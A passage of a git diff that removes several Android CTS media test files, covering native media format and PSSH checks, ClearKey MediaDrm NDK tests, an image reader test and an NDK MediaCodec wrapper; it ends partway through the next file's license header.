-                            && f2.containsKey(MediaFormat.KEY_PIXEL_ASPECT_RATIO_WIDTH)) {
-                f2.setInteger(MediaFormat.KEY_PIXEL_ASPECT_RATIO_WIDTH,
-                                f1.getInteger(MediaFormat.KEY_PIXEL_ASPECT_RATIO_WIDTH));
-            }
-        }
-
-        // look for f2 (the new) being a superset (>=) of f1 (the original)
-        // ensure that all of our fields in f1 appear in f2 with the same
-        // value. We allow f2 to contain extra fields.
-        Set<String> keys = f1.getKeys();
-        for (String key: keys) {
-            if (key == null) {
-                continue;
-            }
-            if (!f2.containsKey(key)) {
-                return false;
-            }
-            int f1Type = f1.getValueTypeForKey(key);
-            if (f1Type != f2.getValueTypeForKey(key)) {
-                return false;
-            }
-            switch (f1Type) {
-                case MediaFormat.TYPE_INTEGER:
-                    int f1Int = f1.getInteger(key);
-                    int f2Int = f2.getInteger(key);
-                    if (f1Int != f2Int) {
-                        return false;
-                    }
-                    break;
-                case MediaFormat.TYPE_LONG:
-                    long f1Long = f1.getLong(key);
-                    long f2Long = f2.getLong(key);
-                    if (f1Long != f2Long) {
-                        return false;
-                    }
-                    break;
-                case MediaFormat.TYPE_FLOAT:
-                    float f1Float = f1.getFloat(key);
-                    float f2Float = f2.getFloat(key);
-                    if (f1Float != f2Float) {
-                        return false;
-                    }
-                    break;
-                case MediaFormat.TYPE_STRING:
-                    String f1String = f1.getString(key);
-                    String f2String = f2.getString(key);
-                    if (!f1String.equals(f2String)) {
-                        return false;
-                    }
-                    break;
-                case MediaFormat.TYPE_BYTE_BUFFER:
-                    ByteBuffer f1ByteBuffer = f1.getByteBuffer(key);
-                    ByteBuffer f2ByteBuffer = f2.getByteBuffer(key);
-                    if (!f1ByteBuffer.equals(f2ByteBuffer)) {
-                        return false;
-                    }
-                    break;
-                default:
-                    return false;
-            }
-        }
-
-        // repeat for getFeatures
-        // (which we don't use in this test, but include for completeness)
-        Set<String> features = f1.getFeatures();
-        for (String key: features) {
-            if (key == null) {
-                continue;
-            }
-            if (!f2.containsKey(key)) {
-                return false;
-            }
-            int f1Type = f1.getValueTypeForKey(key);
-            if (f1Type != f2.getValueTypeForKey(key)) {
-                return false;
-            }
-            switch (f1Type) {
-                case MediaFormat.TYPE_INTEGER:
-                    int f1Int = f1.getInteger(key);
-                    int f2Int = f2.getInteger(key);
-                    if (f1Int != f2Int) {
-                        return false;
-                    }
-                    break;
-                case MediaFormat.TYPE_LONG:
-                    long f1Long = f1.getLong(key);
-                    long f2Long = f2.getLong(key);
-                    if (f1Long != f2Long) {
-                        return false;
-                    }
-                    break;
-                case MediaFormat.TYPE_FLOAT:
-                    float f1Float = f1.getFloat(key);
-                    float f2Float = f2.getFloat(key);
-                    if (f1Float != f2Float) {
-                        return false;
-                    }
-                    break;
-                case MediaFormat.TYPE_STRING:
-                    String f1String = f1.getString(key);
-                    String f2String = f2.getString(key);
-                    if (!f1String.equals(f2String)) {
-                        return false;
-                    }
-                    break;
-                case MediaFormat.TYPE_BYTE_BUFFER:
-                    ByteBuffer f1ByteBuffer = f1.getByteBuffer(key);
-                    ByteBuffer f2ByteBuffer = f2.getByteBuffer(key);
-                    if (!f1ByteBuffer.equals(f2ByteBuffer)) {
-                        return false;
-                    }
-                    break;
-                default:
-                    return false;
-            }
-        }
-
-        // not otherwise disqualified
-        return true;
-    }
-
-    private static native boolean testMuxerNative(int in, long inoffset, long insize,
-            int out, boolean webm);
-
-    @Presubmit
-    public void testFormat() throws Exception {
-        assertTrue("media format fail, see log for details", testFormatNative());
-    }
-
-    private static native boolean testFormatNative();
-
-    @Presubmit
-    public void testPssh() throws Exception {
-        testPssh("psshtest.mp4");
-    }
-
-    private void testPssh(final String res) throws Exception {
-        AssetFileDescriptor fd = getAssetFileDescriptorFor(res);
-
-        MediaExtractor ex = new MediaExtractor();
-        ex.setDataSource(fd.getParcelFileDescriptor().getFileDescriptor(),
-                fd.getStartOffset(), fd.getLength());
-        testPssh(ex);
-        ex.release();
-
-        boolean ret = testPsshNative(
-                fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength());
-        assertTrue("native pssh error", ret);
-    }
-
-    private static void testPssh(MediaExtractor ex) {
-        Map<UUID, byte[]> map = ex.getPsshInfo();
-        Set<UUID> keys = map.keySet();
-        for (UUID uuid: keys) {
-            Log.i("@@@", "uuid: " + uuid + ", data size " +
-                    map.get(uuid).length);
-        }
-    }
-
-    private static native boolean testPsshNative(int fd, long offset, long size);
-
-    public void testCryptoInfo() throws Exception {
-        assertTrue("native cryptoinfo failed, see log for details", testCryptoInfoNative());
-    }
-
-    private static native boolean testCryptoInfoNative();
-
-    @Presubmit
-    public void testMediaFormat() throws Exception {
-        assertTrue("native mediaformat failed, see log for details", testMediaFormatNative());
-    }
-
-    private static native boolean testMediaFormatNative();
-
-    @Presubmit
-    public void testAMediaDataSourceClose() throws Throwable {
-
-        final CtsTestServer slowServer = new SlowCtsTestServer();
-        final String url = slowServer.getAssetUrl("noiseandchirps.ogg");
-        final long ds = createAMediaDataSource(url);
-        final long ex = createAMediaExtractor();
-
-        try {
-            setAMediaExtractorDataSourceAndFailIfAnr(ex, ds);
-        } finally {
-            slowServer.shutdown();
-            deleteAMediaExtractor(ex);
-            deleteAMediaDataSource(ds);
-        }
-
-    }
-
-    private void setAMediaExtractorDataSourceAndFailIfAnr(final long ex, final long ds)
-            throws Throwable {
-        final Monitor setAMediaExtractorDataSourceDone = new Monitor();
-        final int HEAD_START_MILLIS = 1000;
-        final int ANR_TIMEOUT_MILLIS = 2500;
-        final int JOIN_TIMEOUT_MILLIS = 1500;
-
-        Thread setAMediaExtractorDataSourceThread = new Thread() {
-            public void run() {
-                setAMediaExtractorDataSource(ex, ds);
-                setAMediaExtractorDataSourceDone.signal();
-            }
-        };
-
-        try {
-            setAMediaExtractorDataSourceThread.start();
-            Thread.sleep(HEAD_START_MILLIS);
-            closeAMediaDataSource(ds);
-            boolean closed = setAMediaExtractorDataSourceDone.waitForSignal(ANR_TIMEOUT_MILLIS);
-            assertTrue("close took longer than " + ANR_TIMEOUT_MILLIS, closed);
-        } finally {
-            setAMediaExtractorDataSourceThread.join(JOIN_TIMEOUT_MILLIS);
-        }
-
-    }
-
-    private class SlowCtsTestServer extends CtsTestServer {
-
-        private static final int SERVER_DELAY_MILLIS = 5000;
-        private final CountDownLatch mDisconnected = new CountDownLatch(1);
-
-        SlowCtsTestServer() throws Exception {
-            super(mContext);
-        }
-
-        @Override
-        protected DefaultHttpServerConnection createHttpServerConnection() {
-            return new SlowHttpServerConnection(mDisconnected, SERVER_DELAY_MILLIS);
-        }
-
-        @Override
-        public void shutdown() {
-            mDisconnected.countDown();
-            super.shutdown();
-        }
-    }
-
-    private static class SlowHttpServerConnection extends DefaultHttpServerConnection {
-
-        private final CountDownLatch mDisconnected;
-        private final int mDelayMillis;
-
-        public SlowHttpServerConnection(CountDownLatch disconnected, int delayMillis) {
-            mDisconnected = disconnected;
-            mDelayMillis = delayMillis;
-        }
-
-        @Override
-        protected SessionOutputBuffer createHttpDataTransmitter(
-                Socket socket, int buffersize, HttpParams params) throws IOException {
-            return createSessionOutputBuffer(socket, buffersize, params);
-        }
-
-        SessionOutputBuffer createSessionOutputBuffer(
-                Socket socket, int buffersize, HttpParams params) throws IOException {
-            return new SocketOutputBuffer(socket, buffersize, params) {
-                @Override
-                public void write(byte[] b) throws IOException {
-                    write(b, 0, b.length);
-                }
-
-                @Override
-                public void write(byte[] b, int off, int len) throws IOException {
-                    while (len-- > 0) {
-                        write(b[off++]);
-                    }
-                }
-
-                @Override
-                public void writeLine(String s) throws IOException {
-                    delay();
-                    super.writeLine(s);
-                }
-
-                @Override
-                public void writeLine(CharArrayBuffer buffer) throws IOException {
-                    delay();
-                    super.writeLine(buffer);
-                }
-
-                @Override
-                public void write(int b) throws IOException {
-                    delay();
-                    super.write(b);
-                }
-
-                private void delay() throws IOException {
-                    try {
-                        mDisconnected.await(mDelayMillis, TimeUnit.MILLISECONDS);
-                    } catch (InterruptedException e) {
-                        // Ignored
-                    }
-                }
-
-            };
-        }
-    }
-
-    private static native long createAMediaExtractor();
-    private static native long createAMediaDataSource(String url);
-    private static native int  setAMediaExtractorDataSource(long ex, long ds);
-    private static native void closeAMediaDataSource(long ds);
-    private static native void deleteAMediaExtractor(long ex);
-    private static native void deleteAMediaDataSource(long ds);
-
-}
-
diff --git a/tests/tests/media/src/android/media/cts/NativeImageReaderTest.java b/tests/tests/media/src/android/media/cts/NativeImageReaderTest.java
deleted file mode 100644
index 5de309a..0000000
--- a/tests/tests/media/src/android/media/cts/NativeImageReaderTest.java
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * Copyright 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-import android.util.Log;
-import android.view.Surface;
-
-/**
- * Verification test for AImageReader.
- */
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class NativeImageReaderTest extends AndroidTestCase {
-    private static final String TAG = "NativeImageReaderTest";
-    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
-
-    /** Load jni on initialization */
-    static {
-        Log.i("NativeImageReaderTest", "before loadlibrary");
-        System.loadLibrary("ctsimagereader_jni");
-        Log.i("NativeImageReaderTest", "after loadlibrary");
-    }
-
-    public void testSucceedsWithSupportedUsageFormat() {
-        assertTrue(
-                "Native test failed, see log for details",
-                testSucceedsWithSupportedUsageFormatNative());
-    }
-
-    public void testTakePictures() {
-        assertTrue("Native test failed, see log for details", testTakePicturesNative());
-    }
-
-    public void testCreateSurface() {
-        Surface surface = testCreateSurfaceNative();
-        assertNotNull("Surface created is null.", surface);
-        assertTrue("Surface created is invalid.", surface.isValid());
-    }
-
-    private static native boolean testSucceedsWithSupportedUsageFormatNative();
-    private static native boolean testTakePicturesNative();
-    private static native Surface testCreateSurfaceNative();
-}
diff --git a/tests/tests/media/src/android/media/cts/NativeMediaDrmClearkeyTest.java b/tests/tests/media/src/android/media/cts/NativeMediaDrmClearkeyTest.java
deleted file mode 100644
index 44bdd9b..0000000
--- a/tests/tests/media/src/android/media/cts/NativeMediaDrmClearkeyTest.java
+++ /dev/null
@@ -1,308 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.content.pm.PackageManager;
-import android.media.MediaDrm;
-import android.net.Uri;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.view.Surface;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
-import com.google.android.collect.Lists;
-
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.UUID;
-
-import static org.junit.Assert.assertThat;
-import static org.junit.matchers.JUnitMatchers.containsString;
-
-/**
- * Tests MediaDrm NDK APIs. ClearKey system uses a subset of NDK APIs,
- * this test only tests the APIs that are supported by ClearKey system.
- */
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class NativeMediaDrmClearkeyTest extends MediaPlayerTestBase {
-    private static final String TAG = NativeMediaDrmClearkeyTest.class.getSimpleName();
-
-    private static final int CONNECTION_RETRIES = 10;
-    private static final int VIDEO_WIDTH_CENC = 1280;
-    private static final int VIDEO_HEIGHT_CENC = 720;
-    private static final String ISO_BMFF_VIDEO_MIME_TYPE = "video/avc";
-    private static final String ISO_BMFF_AUDIO_MIME_TYPE = "audio/avc";
-    private static final String CENC_AUDIO_PATH =
-            "/clear/h264/llama/llama_aac_audio.mp4";
-
-    private static final String CENC_CLEARKEY_VIDEO_PATH =
-            "/clearkey/llama_h264_main_720p_8000.mp4";
-
-    private static final int UUID_BYTE_SIZE = 16;
-    private static final UUID COMMON_PSSH_SCHEME_UUID =
-            new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
-    private static final UUID CLEARKEY_SCHEME_UUID =
-            new UUID(0xe2719d58a985b3c9L, 0x781ab030af78d30eL);
-    private static final UUID BAD_SCHEME_UUID =
-            new UUID(0xffffffffffffffffL, 0xffffffffffffffffL);
-    private MediaCodecClearKeyPlayer mMediaCodecPlayer;
-
-    static {
-        try {
-            System.loadLibrary("ctsmediadrm_jni");
-        } catch (UnsatisfiedLinkError e) {
-            Log.e(TAG, "NativeMediaDrmClearkeyTest: Error loading JNI library");
-            e.printStackTrace();
-        }
-        try {
-            System.loadLibrary("mediandk");
-        } catch (UnsatisfiedLinkError e) {
-            Log.e(TAG, "NativeMediaDrmClearkeyTest: Error loading JNI library");
-            e.printStackTrace();
-        }
-    }
-
-    public static class PlaybackParams {
-        public Surface surface;
-        public String mimeType;
-        public String audioUrl;
-        public String videoUrl;
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        if (false == deviceHasMediaDrm()) {
-            tearDown();
-        }
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-    }
-
-    private boolean watchHasNoClearkeySupport() {
-        if (!MediaDrm.isCryptoSchemeSupported(CLEARKEY_SCHEME_UUID)) {
-            if (isWatchDevice()) {
-                return true;
-            } else {
-                throw new Error("Crypto scheme is not supported");
-            }
-        }
-        return false;
-    }
-
-    private boolean isWatchDevice() {
-        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
-    }
-
-    private boolean deviceHasMediaDrm() {
-        // ClearKey is introduced after KitKat.
-        if (ApiLevelUtil.isAtMost(android.os.Build.VERSION_CODES.KITKAT)) {
-            return false;
-        }
-        return true;
-    }
-
-    private static final byte[] uuidByteArray(UUID uuid) {
-        ByteBuffer buffer = ByteBuffer.wrap(new byte[UUID_BYTE_SIZE]);
-        buffer.putLong(uuid.getMostSignificantBits());
-        buffer.putLong(uuid.getLeastSignificantBits());
-        return buffer.array();
-    }
-
-    public void testIsCryptoSchemeSupported() throws Exception {
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        assertTrue(isCryptoSchemeSupportedNative(uuidByteArray(COMMON_PSSH_SCHEME_UUID)));
-        assertTrue(isCryptoSchemeSupportedNative(uuidByteArray(CLEARKEY_SCHEME_UUID)));
-    }
-
-    public void testIsCryptoSchemeNotSupported() throws Exception {
-        assertFalse(isCryptoSchemeSupportedNative(uuidByteArray(BAD_SCHEME_UUID)));
-    }
-
-    public void testPssh() throws Exception {
-        // The test uses a canned PSSH that contains the common box UUID.
-        assertTrue(testPsshNative(uuidByteArray(COMMON_PSSH_SCHEME_UUID),
-                Uri.parse(Utils.getMediaPath() + CENC_CLEARKEY_VIDEO_PATH).toString()));
-    }
-
-    public void testQueryKeyStatus() throws Exception {
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        assertTrue(testQueryKeyStatusNative(uuidByteArray(CLEARKEY_SCHEME_UUID)));
-    }
-
-    public void testFindSessionId() throws Exception {
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        assertTrue(testFindSessionIdNative(uuidByteArray(CLEARKEY_SCHEME_UUID)));
-    }
-
-    public void testGetPropertyString() throws Exception {
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        StringBuffer value = new StringBuffer();
-        testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID), "description", value);
-        assertEquals("ClearKey CDM", value.toString());
-
-        value.delete(0, value.length());
-        testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID), "description", value);
-        assertEquals("ClearKey CDM", value.toString());
-    }
-
-    public void testPropertyByteArray() throws Exception {
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        assertTrue(testPropertyByteArrayNative(uuidByteArray(CLEARKEY_SCHEME_UUID)));
-    }
-
-    public void testUnknownPropertyString() throws Exception {
-        StringBuffer value = new StringBuffer();
-
-        try {
-            testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID),
-                    "unknown-property", value);
-            fail("Should have thrown an exception");
-        } catch (RuntimeException e) {
-            Log.e(TAG, "testUnknownPropertyString error = '" + e.getMessage() + "'");
-            assertThat(e.getMessage(), containsString("get property string returns"));
-        }
-
-        value.delete(0, value.length());
-        try {
-            testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID),
-                    "unknown-property", value);
-            fail("Should have thrown an exception");
-        } catch (RuntimeException e) {
-            Log.e(TAG, "testUnknownPropertyString error = '" + e.getMessage() + "'");
-            assertThat(e.getMessage(), containsString("get property string returns"));
-        }
-    }
-
-    /**
-     * Tests native clear key system playback.
-     */
-    private void testClearKeyPlayback(
-            UUID drmSchemeUuid, String mimeType, /*String initDataType,*/ Uri audioUrl, Uri videoUrl,
-            int videoWidth, int videoHeight) throws Exception {
-
-        if (isWatchDevice()) {
-            return;
-        }
-
-        if (!isCryptoSchemeSupportedNative(uuidByteArray(drmSchemeUuid))) {
-            throw new Error("Crypto scheme is not supported.");
-        }
-
-        IConnectionStatus connectionStatus = new ConnectionStatus(mContext);
-        if (!connectionStatus.isAvailable()) {
-            throw new Error("Network is not available, reason: " +
-                    connectionStatus.getNotConnectedReason());
-        }
-
-        // If device is not online, recheck the status a few times.
-        int retries = 0;
-        while (!connectionStatus.isConnected()) {
-            if (retries++ >= CONNECTION_RETRIES) {
-                throw new Error("Device is not online, reason: " +
-                        connectionStatus.getNotConnectedReason());
-            }
-            try {
-                Thread.sleep(100);
-            } catch (InterruptedException e) {
-                // do nothing
-            }
-        }
-        connectionStatus.testConnection(videoUrl);
-
-        if (!MediaUtils.checkCodecsForPath(mContext, videoUrl.toString())) {
-            Log.i(TAG, "Device does not support " +
-                  videoWidth + "x" + videoHeight + " resolution for " + mimeType);
-            return;  // skip
-        }
-
-        PlaybackParams params = new PlaybackParams();
-        params.surface = mActivity.getSurfaceHolder().getSurface();
-        params.mimeType = mimeType;
-        params.audioUrl = audioUrl.toString();
-        params.videoUrl = videoUrl.toString();
-
-        if (!testClearKeyPlaybackNative(
-            uuidByteArray(drmSchemeUuid), params)) {
-            Log.e(TAG, "Fails play back using native media drm APIs.");
-        }
-        params.surface.release();
-    }
-
-    private ArrayList<Integer> intVersion(String version) {
-        String versions[] = version.split("\\.");
-
-        ArrayList<Integer> versionNumbers = Lists.newArrayList();
-        for (String subVersion : versions) {
-            versionNumbers.add(Integer.parseInt(subVersion));
-        }
-        return versionNumbers;
-    }
-
-    private static native boolean isCryptoSchemeSupportedNative(final byte[] uuid);
-
-    private static native boolean testClearKeyPlaybackNative(final byte[] uuid,
-            PlaybackParams params);
-
-    private static native boolean testFindSessionIdNative(final byte[] uuid);
-
-    private static native boolean testGetPropertyStringNative(final byte[] uuid,
-            final String name, StringBuffer value);
-
-    private static native boolean testPropertyByteArrayNative(final byte[] uuid);
-
-    private static native boolean testPsshNative(final byte[] uuid, final String videoUrl);
-
-    private static native boolean testQueryKeyStatusNative(final byte[] uuid);
-
-    public void testClearKeyPlaybackCenc() throws Exception {
-        testClearKeyPlayback(
-            COMMON_PSSH_SCHEME_UUID,
-            ISO_BMFF_VIDEO_MIME_TYPE,
-            Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH),
-            Uri.parse(Utils.getMediaPath() + CENC_CLEARKEY_VIDEO_PATH),
-            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
-    }
-
-    public void testClearKeyPlaybackCenc2() throws Exception {
-        testClearKeyPlayback(
-            CLEARKEY_SCHEME_UUID,
-            ISO_BMFF_VIDEO_MIME_TYPE,
-            Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH),
-            Uri.parse(Utils.getMediaPath() + CENC_CLEARKEY_VIDEO_PATH),
-            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
-    }
-}
-
diff --git a/tests/tests/media/src/android/media/cts/NdkMediaCodec.java b/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
deleted file mode 100644
index 28e27ed..0000000
--- a/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
+++ /dev/null
@@ -1,281 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.MediaCodec;
-import android.media.MediaCodec.BufferInfo;
-import android.media.MediaCodec.Callback;
-import android.media.MediaFormat;
-import android.os.Bundle;
-import android.util.Log;
-import android.view.Surface;
-import java.nio.ByteBuffer;
-
-public class NdkMediaCodec implements MediaCodecWrapper {
-
-    private static final String CSD_0 = "csd-0";
-    private static final String CSD_1 = "csd-1";
-    private static final String CSD_2 = "csd-2";
-    private long mNdkMediaCodec;
-    private final String mName;
-
-    static {
-        Log.i("@@@", "before loadlibrary");
-        System.loadLibrary("ctsmediacodec_jni");
-        Log.i("@@@", "after loadlibrary");
-    }
-
-    private static native long AMediaCodecCreateCodecByName(String name);
-    private static native boolean AMediaCodecDelete(long ndkMediaCodec);
-    private static native boolean AMediaCodecStart(long ndkMediaCodec);
-    private static native boolean AMediaCodecStop(long ndkMediaCodec);
-    private static native String AMediaCodecGetOutputFormatString(long ndkMediaCodec);
-    private static native boolean AMediaCodecSetInputSurface(long ndkMediaCodec, Surface surface);
-    private static native boolean AMediaCodecSetNativeInputSurface(long ndkMediaCodec, long aNativeWindow);
-    private static native long AMediaCodecCreateInputSurface(long ndkMediaCodec);
-    private static native long AMediaCodecCreatePersistentInputSurface();
-    private static native boolean AMediaCodecSignalEndOfInputStream(long ndkMediaCodec);
-    private static native boolean AMediaCodecReleaseOutputBuffer(long ndkMediaCodec, int index, boolean render);
-    private static native ByteBuffer AMediaCodecGetOutputBuffer(long ndkMediaCodec, int index);
-    private static native long[] AMediaCodecDequeueOutputBuffer(long ndkMediaCodec, long timeoutUs);
-    private static native ByteBuffer AMediaCodecGetInputBuffer(long ndkMediaCodec, int index);
-    private static native int AMediaCodecDequeueInputBuffer(long ndkMediaCodec, long timeoutUs);
-    private static native boolean AMediaCodecSetParameter(long ndkMediaCodec, String key, int value);
-
-    private static native boolean AMediaCodecConfigure(
-            long ndkMediaCodec,
-            String mime,
-            int width,
-            int height,
-            int colorFormat,
-            int bitRate,
-            int frameRate,
-            int iFrameInterval,
-            ByteBuffer csd0,
-            ByteBuffer csd1,
-            int flags,
-            int lowLatency,
-            Surface surface,
-            int range,
-            int standard,
-            int transfer);
-
-    private static native boolean AMediaCodecQueueInputBuffer(
-            long ndkMediaCodec,
-            int index,
-            int offset,
-            int size,
-            long presentationTimeUs,
-            int flags);
-
-    public NdkMediaCodec(String name) {
-        mName = name;
-        mNdkMediaCodec = AMediaCodecCreateCodecByName(name);
-    }
-
-    @Override
-    protected void finalize() throws Throwable {
-        AMediaCodecDelete(mNdkMediaCodec);
-    }
-
-    @Override
-    public void release() {
-        AMediaCodecDelete(mNdkMediaCodec);
-        mNdkMediaCodec = 0;
-    }
-
-    @Override
-    public void start() {
-        AMediaCodecStart(mNdkMediaCodec);
-    }
-
-    @Override
-    public void stop() {
-        AMediaCodecStop(mNdkMediaCodec);
-    }
-
-    @Override
-    public void configure(MediaFormat format, int flags) {
-        configure(format, flags, null /* surface */);
-    }
-
-    @Override
-    public void configure(MediaFormat format, int flags, Surface surface) {
-
-        int width = format.getInteger(MediaFormat.KEY_WIDTH, -1);
-        int height = format.getInteger(MediaFormat.KEY_HEIGHT, -1);
-        int colorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT, -1);
-        int bitRate = format.getInteger(MediaFormat.KEY_BIT_RATE, -1);
-        int frameRate = format.getInteger(MediaFormat.KEY_FRAME_RATE, -1);
-        int iFrameInterval = format.getInteger(MediaFormat.KEY_I_FRAME_INTERVAL, -1);
-        int lowLatency = format.getInteger(MediaFormat.KEY_LOW_LATENCY, -1);
-        int range = format.getInteger(MediaFormat.KEY_COLOR_RANGE, -1);
-        int standard = format.getInteger(MediaFormat.KEY_COLOR_STANDARD, -1);
-        int transfer = format.getInteger(MediaFormat.KEY_COLOR_TRANSFER, -1);
-
-        ByteBuffer csd0BufCopy = null;
-        if (format.containsKey(CSD_0)) {
-            ByteBuffer csd0BufOld = format.getByteBuffer(CSD_0);
-            csd0BufCopy = ByteBuffer.allocateDirect(csd0BufOld.remaining());
-            csd0BufCopy.put(csd0BufOld);
-            csd0BufCopy.position(0);
-        }
-
-        ByteBuffer csd1BufCopy = null;
-        if (format.containsKey(CSD_1)) {
-            ByteBuffer csd1BufOld = format.getByteBuffer(CSD_1);
-            csd1BufCopy = ByteBuffer.allocateDirect(csd1BufOld.remaining());
-            csd1BufCopy.put(csd1BufOld);
-            csd1BufCopy.position(0);
-        }
-
-        // fail loudly so the test can be properly extended.
-        if (format.containsKey(CSD_2)) {
-            throw new UnsupportedOperationException("test error: does not handle csd-2");
-        }
-
-        AMediaCodecConfigure(
-                mNdkMediaCodec,
-                format.getString(MediaFormat.KEY_MIME),
-                width,
-                height,
-                colorFormat,
-                bitRate,
-                frameRate,
-                iFrameInterval ,
-                csd0BufCopy,
-                csd1BufCopy,
-                flags,
-                lowLatency,
-                surface,
-                range,
-                standard,
-                transfer);
-    }
-
-    @Override
-    public void setInputSurface(InputSurfaceInterface surface) {
-        surface.configure(this);
-    }
-
-    public void setInputSurface(Surface surface) {
-        AMediaCodecSetInputSurface(mNdkMediaCodec, surface);
-    }
-
-    public void setInputSurface(long aNativeWindow) {
-        AMediaCodecSetNativeInputSurface(mNdkMediaCodec, aNativeWindow);
-    }
-
-    @Override
-    public InputSurfaceInterface createInputSurface() {
-        return new NdkInputSurface(AMediaCodecCreateInputSurface(mNdkMediaCodec));
-    }
-
-    public static InputSurfaceInterface createPersistentInputSurface() {
-        return new NdkInputSurface(AMediaCodecCreatePersistentInputSurface());
-    }
-
-    @Override
-    public int dequeueOutputBuffer(BufferInfo info, long timeoutUs) {
-        long[] ret = AMediaCodecDequeueOutputBuffer(mNdkMediaCodec, timeoutUs);
-        if (ret[0] >= 0) {
-            info.offset = (int)ret[1];
-            info.size = (int)ret[2];
-            info.presentationTimeUs = ret[3];
-            info.flags = (int)ret[4];
-        }
-        return (int)ret[0];
-    }
-
-    @Override
-    public ByteBuffer getOutputBuffer(int index) {
-        return AMediaCodecGetOutputBuffer(mNdkMediaCodec, index);
-    }
-
-    @Override
-    public void releaseOutputBuffer(int index, boolean render) {
-        AMediaCodecReleaseOutputBuffer(mNdkMediaCodec, index, render);
-    }
-
-    @Override
-    public void signalEndOfInputStream() {
-        AMediaCodecSignalEndOfInputStream(mNdkMediaCodec);
-    }
-
-    @Override
-    public String getOutputFormatString() {
-        return AMediaCodecGetOutputFormatString(mNdkMediaCodec);
-    }
-
-    @Override
-    public ByteBuffer[] getOutputBuffers() {
-        return null;
-    }
-
-    @Override
-    public ByteBuffer getInputBuffer(int index) {
-        return AMediaCodecGetInputBuffer(mNdkMediaCodec, index);
-    }
-
-    @Override
-    public ByteBuffer[] getInputBuffers() {
-        return null;
-    }
-
-    @Override
-    public void queueInputBuffer(
-            int index,
-            int offset,
-            int size,
-            long presentationTimeUs,
-            int flags) {
-
-        AMediaCodecQueueInputBuffer(mNdkMediaCodec, index, offset, size, presentationTimeUs, flags);
-
-    }
-
-    @Override
-    public int dequeueInputBuffer(long timeoutUs) {
-        return AMediaCodecDequeueInputBuffer(mNdkMediaCodec, timeoutUs);
-    }
-
-    @Override
-    public void setParameters(Bundle params) {
-
-        String keys[] = new String[] {
-                MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME,
-                MediaCodec.PARAMETER_KEY_VIDEO_BITRATE};
-
-        for (String key : keys) {
-            if (params.containsKey(key)) {
-                int value = params.getInt(key);
-                AMediaCodecSetParameter(mNdkMediaCodec, key, value);
-            }
-        }
-
-    }
-
-    @Override
-    public void setCallback(Callback mCallback) {
-        throw new UnsupportedOperationException(mCallback.toString());
-    }
-
-    @Override
-    public String toString() {
-        return String.format("%s(%s, %x)", getClass(), mName, mNdkMediaCodec);
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/NonBlockingAudioTrack.java b/tests/tests/media/src/android/media/cts/NonBlockingAudioTrack.java
deleted file mode 100644
index f4f1fac..0000000
--- a/tests/tests/media/src/android/media/cts/NonBlockingAudioTrack.java
+++ /dev/null
@@ -1,191 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
